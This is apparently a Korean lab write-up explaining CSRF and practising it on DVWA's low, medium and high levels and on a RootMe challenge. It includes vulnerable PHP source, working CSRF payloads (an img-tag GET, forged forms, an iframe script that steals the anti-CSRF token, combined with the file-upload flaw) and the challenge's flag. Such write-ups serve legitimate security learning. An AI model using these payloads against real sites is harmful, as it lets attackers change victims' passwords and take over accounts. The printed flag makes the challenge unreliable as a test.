기준

 

취약점 설명

CSRF(Cross-Site Request Forgery)는 사용자의 요청을 변조하여 의도하지 않은 정보를 열람하거나 요청과 다른 결과를 실행하도록 만드는 공격 방식입니다.

 

해당 취약점은 피싱 공격에 이용되기도 하며 사용자의 정보를 탈취/변조/삭제 등이 가능하여 매우 위험한 취약점입니다.

 

CSRF와 XSS는 같은 결의 취약점입니다. 하지만 XSS와 CSRF의 가장 큰 차이점은 대상을 달리하며 파급력이 다릅니다.

 

XSS의 경우 클라이언트에서 발생하여 서버에 정보를 요청하고 그 정보를 탈취하는 형식으로 피해자의 PC를 공격의 대상으로 삼아 진행되는 공격입니다. 하지만, CSRF는 피해자의 요청을 변조하여 공격자의 의도대로 피해자로 하여금 서버를 공격하고 불특정 다수에 의해 침해당할 수 있는 취약점입니다.

 

물론 CSRF도 피해자의 정보를 노리고 공격할 수 있지만 XSS는 피해자를 대상으로 직접적인 공격을 주로 하는 반면에 CSRF는 서버를 대상으로 피해자 PC를 이용해서 공격하는 점이 가장 다른 점입니다.

 

공격 방법

(해당취약점은 DVWA와 RootMe를 활용해서 실습해보았습니다.)

1. DVWA

1) Low Level

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

CSRF 실습 페이지는 비밀번호 변경을 할 수 있도록 형성되어 있습니다.

실제로 패스워드를 넣어보면 변경되는 것을 확인할 수 있습니다. 

 

소스코드를 확인해보면 New password와 Confirm New Password를 비교하는 것 말고는 보안 조치가 되어있는 것은 없습니다.

 

그럼 시도하기 위해 PW를 변경하여 동작 방식을 확인해본 후에 XSS(Stored) 페이지를 활용하여 시도해보도록 하겠습니다.

PW를 바꾸면 아래와 같은 패킷을 전송합니다.

Method는 GET을 사용하고 있으며 body가 없이 URL을 통해서 정보를 전달하는 것을 알 수 있습니다.

이러한 경우 URL만 자동으로 실행되게 했을 경우 가능하다고 생각하고 진행하겠습니다.

Composer를 통해 시도했을 때 정상적으로 200번을 Response 하는 것을 확인했습니다.

그럼 XSS(Stored)를 활용해 시도해보도록 하겠습니다.

(XSS에서 설명한 방법은 제외하고 진행하겠습니다.)

<img src="/dvwa/vulnerabilities/csrf/?password_new=rokefoke&password_conf=rokefoke&Change=Change" onerror=alert("CSRF")>

img 태그를 통해 이미지 URL을 자동으로 실행하도록 설정해주었습니다.

Sign Guestbook 누르면 정상적으로 스크립트가 실행되는 것을 확인할 수 있습니다.

그럼 XSS(Stored)를 방문할 경우 자동으로 패킷을 전송하고 PW가 바뀌는지 확인해보도록 하겠습니다.

우선 접근 패킷과 다른 패킷이 하나 더 발송되는 것을 확인할 수 있습니다.

또한 의도한 패킷이 전송되는 것을 확인할 수 있었습니다.

입력한 asd가 아닌 rokefoke로 PW가 변경된 것을 확인할 수 있었습니다.

 

2) Medium

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Low Level과의 차이점은 stripos를 활용해서 Referer와 Server Name을 확인하는 점입니다.

 

이런 경우 Low Level과 같이 시도할 경우 확인하는 부분이 충족되지 않아 PW 변경을 서버에서 거부하게 됩니다.

 

이런 경우 Referer와 Server Name을 고정해서 시도할 수 있는데 이번에는 피싱 공격 방법으로 URL을 보낸다고 생각하고 진행해보도록 하겠습니다.

위의 소스는 PW를 바꿔주는 페이지의 구성입니다.

저 소스에서 action은 #으로 현재 페이지를 반영하게 쓰여있는데 #을 의도하는 페이지 URL로 변경하면 공격이 가능할 것이라고 생각합니다.

<form action="http://192.168.75.128/dvwa/vulnerabilities/csrf/" method="GET">
			New password:<br />
			<input type="password" AUTOCOMPLETE="off" name="password_new" value="rokefoke"><br />
			Confirm new password:<br />
			<input type="password" AUTOCOMPLETE="off" name="password_conf" value="rokefoke"><br />
			<br />
			<input type="submit" value="Change" name="Change">

		</form>

소스를 위와 같이 작성하여 메일에 포함하여 보내거나 링크를 걸어 보내주는 형식으로 진행할 수 있습니다.

HTML 코드가 작성 가능한 메일일 경우 위의 소스를 그래도 넣어 전송하는 방식도 가능합니다.

위와 같은 페이지가 보이는 것을 확인할 수 있습니다.

작성된 PW가 있는 페이지를 통해 Change를 누르면 공격자가 원하는 PW로 바꿀 수 있습니다.

하지만 Change를 누르면 위와 같이 비밀번호가 바뀌지 않는 것을 알 수 있습니다.

패킷을 확인해보면 위처럼 Referer값이 없어서 변경되지 않는 것을 확인할 수 있습니다.

이런 경우에 서버 내부에 파일을 업로드하는 방식으로 시도해보겠습니다.

업로드 취약점을 활용해 서버에 파일을 업로드했습니다.

위 사진처럼 업로드시켜준 경로로 접근하면 업로드된 파일이 실행되는 것을 확인할 수 있습니다.

이제 Change버튼을 눌러 PW변경을 시도해보도록 하겠습니다.

그러면 정상적으로 비밀번호가 바뀌는 것을 확인할 수 있습니다.

위의 방법은 Change버튼을 눌러야 실행되는 형식으로 공격하지만 Low Level에서 사용했던 스크립트를 사용해서 진행하면 링크에 접속하면 바로 PW가 변경되는 방식으로 공격도 가능합니다.

 

<img src="http://192.168.75.128/dvwa/vulnerabilities/csrf/?password_new=rokefoke&password_conf=rokefoke&Change=Change" referrerpolicy="unsafe-url" onerror=alert("CSRF")>

 

위의 코드를 작성한 HTML 파일을 작성해서 업로드하면 업로드된 페이지 접근 시 바로 실행되게 할 수 있습니다.

 

3) High Level

<?php

$change = false;
$request_type = "html";
$return_message = "Request Failed";

if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
    $data = json_decode(file_get_contents('php://input'), true);
    $request_type = "json";
    if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
        array_key_exists("password_new", $data) &&
        array_key_exists("password_conf", $data) &&
        array_key_exists("Change", $data)) {
        $token = $_SERVER['HTTP_USER_TOKEN'];
        $pass_new = $data["password_new"];
        $pass_conf = $data["password_conf"];
        $change = true;
    }
} else {
    if (array_key_exists("user_token", $_REQUEST) &&
        array_key_exists("password_new", $_REQUEST) &&
        array_key_exists("password_conf", $_REQUEST) &&
        array_key_exists("Change", $_REQUEST)) {
        $token = $_REQUEST["user_token"];
        $pass_new = $_REQUEST["password_new"];
        $pass_conf = $_REQUEST["password_conf"];
        $change = true;
    }
}

if ($change) {
    // Check Anti-CSRF token
    checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert );

        // Feedback for the user
        $return_message = "Password Changed.";
    }
    else {
        // Issue with passwords matching
        $return_message = "Passwords did not match.";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);

    if ($request_type == "json") {
        generateSessionToken();
        header ("Content-Type: application/json");
        print json_encode (array("Message" =>$return_message));
        exit;
    } else {
        echo "<pre>" . $return_message . "</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

형태는 전과 동일하지만 보안조치는 user_token을 확인하는 방식으로 확입됩니다.

페이지 소스를 확인해보면 토큰이 기록되어 있는 것을 확인할 수 있습니다.

이런 경우 위의 토큰을 Medium Level에서 작성한 스크립트에 user_token값을 추가하여 시도하는 방식으로 시도할 수도 있습니다.

하지만 Medium Level과 다른 방식으로 코드를 작성하여 시도해보겠습니다.

 

<html>
 <body>
  <p>ROKEFOKE CSRF HIGH LEVEL</p>
  <iframe id="myFrame" src="http://192.168.75.128/dvwa/vulnerabilities/csrf" style="visibility: hidden;" onload="maliciousPayload()"></iframe>
  <script>
   function maliciousPayload() {
    console.log("start");
    var iframe = document.getElementById("myFrame");
    var doc = iframe.contentDocument  || iframe.contentWindow.document;
    var token = doc.getElementsByName("user_token")[0].value;
const http = new XMLHttpRequest();
    const url = "http://192.168.75.128/dvwa/vulnerabilities/csrf/?password_new=rokefoke&password_conf=rokefoke&Change=Change&user_token="+token+"#";
    http.open("GET", url);
    http.send();
    console.log("password changed");
   }
  </script>
 </body>
</html>

해당 코드는 iframe을 활용하여 user_token값을 추출하여 포함시키고 PW를 변경 URL을 실행시키도록 작성된 코드입니다.

 

무차별 대입 공격(bruteforce)을 통해 user_token을 예측하여 공격하는 것은 공격자 입장에서 큰 위험을 부담하는 방식이기 때문에 피해자 소스에서 user_token을 추출하는 방식으로 안정성을 확보하는 방법을 선택했습니다.

File Upload 취약점을 활용해 작성된 HTML 코드를 업로드해줍니다.

File Upload를 활용해 실행하는 이유는 SOP(Same Origin Policy)로 인해 공격자 서버에서 코드를 실행하면 교차 출처 객체로 인식되어 실행이 거부되기 때문입니다.

 

[SOP(same-origin policy)는 어떤 출처에서 불러온 문서나 스크립트가 다른 출처에서 가져온 리소스와 상호작용하는 것을 제한하는 중요한 보안 방식입니다.]

 

그럼 아까와 같은 방식으로 다시 접근하여 확인해보도록 하겠습니다.

 

Upload 된 경로로 접근하면 위와 같이 실행되는 것을 확인할 수 있습니다.

그럼 전송된 패킷을 확인해보도록 하겠습니다.

접근하면 총 3번을 접근하는 것을 알 수 있는데 처음은 HTML 파일 접근이고 두 번째는 user_token을 획득하기 위한 csrf페이지 접근, 세 번째는 user_token 값을 포함한 비밀번호 변경입니다.

위에 사진에서 확인할 수 있는 것처럼 user_token을 포함하여 비밀번호를 변경하도록 패킷을 전송하는 것을 확인할 수 있습니다.

 

2. RootMe

문제를 들어가면 처음 페이지는 위와 같은 페이지가 나타납니다.

CSRF는 로그인보다는 요청 변조를 주로 하기 때문에 일단 Register 한 후 로그인을 합니다.

페이지를 확인해보면 위 사진처럼 구성되어있는데 admin이 Status를 체크했을 경우 열리는 것을 알 수 있습니다.

 

우선 시나리오를 생각해보자면 Contact를 통해 Mail을 보내고 자동으로 스크립트가 실행되도록 하여 Status를 체크하는 경로로 생각해보았습니다.

 

우선 간단한 방법으로 개발자 도구에서 Status를 Checked로 바꿔보았으나 되지 않았습니다.

 

<form action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data" id="rokefoke1">
<input type="text" name="username" value="rokefoke1">
<input type="checkbox" name="status" checked>
</form>
<script>javascript:document.getElementById("rokefoke1").submit();</script>

DVWA에서 쓰였던 HTML과 비슷합니다.

하지만 javascript로 submit을 호출하도록 하였고 그때 호출하는 id 값을 form의 id과 같게 설정하여 form에서 설정한 username과 checkbox의 status도 설정하도록 작성하였습니다.

(굉장히 고생했습니다.ㅠㅠ)

 

여기에서 가장 중요한 부분은 form의 id값을 설정해주고 javascript의 getElementById() 함수로 form의 객체를 호출하여 submit함수로 전송하는 부분입니다.

(이 부분이 가장 헛갈렸습니다.)

 

그러므로 form의 id값과 javascript의 getElementById() 함수의 id값을 동일하게 설정해주어야 호출할 수 있습니다.

 

또한 아래의 username의 value는 본인이 Register 한 id로 적어주어야 본인이 admin을 통해 넘기려는 id의 Status를 Checked로 바꿔 flag를 얻을 수 있습니다.

 

위의 사진처럼 Comment에 삽입한 후 Submit을 눌러 전송해줍니다.

Profile 부분에 바로 적용되어 보이진 않습니다.

하지만 조금 지나고 새로고침 해주면서 기다려 보겠습니다.

그럼 위의 사진처럼 Private에 flag가 뜨는 것을 볼 수 있습니다.

 

Flag : Csrf_Fr33style-L3v3l1!

+ Recent posts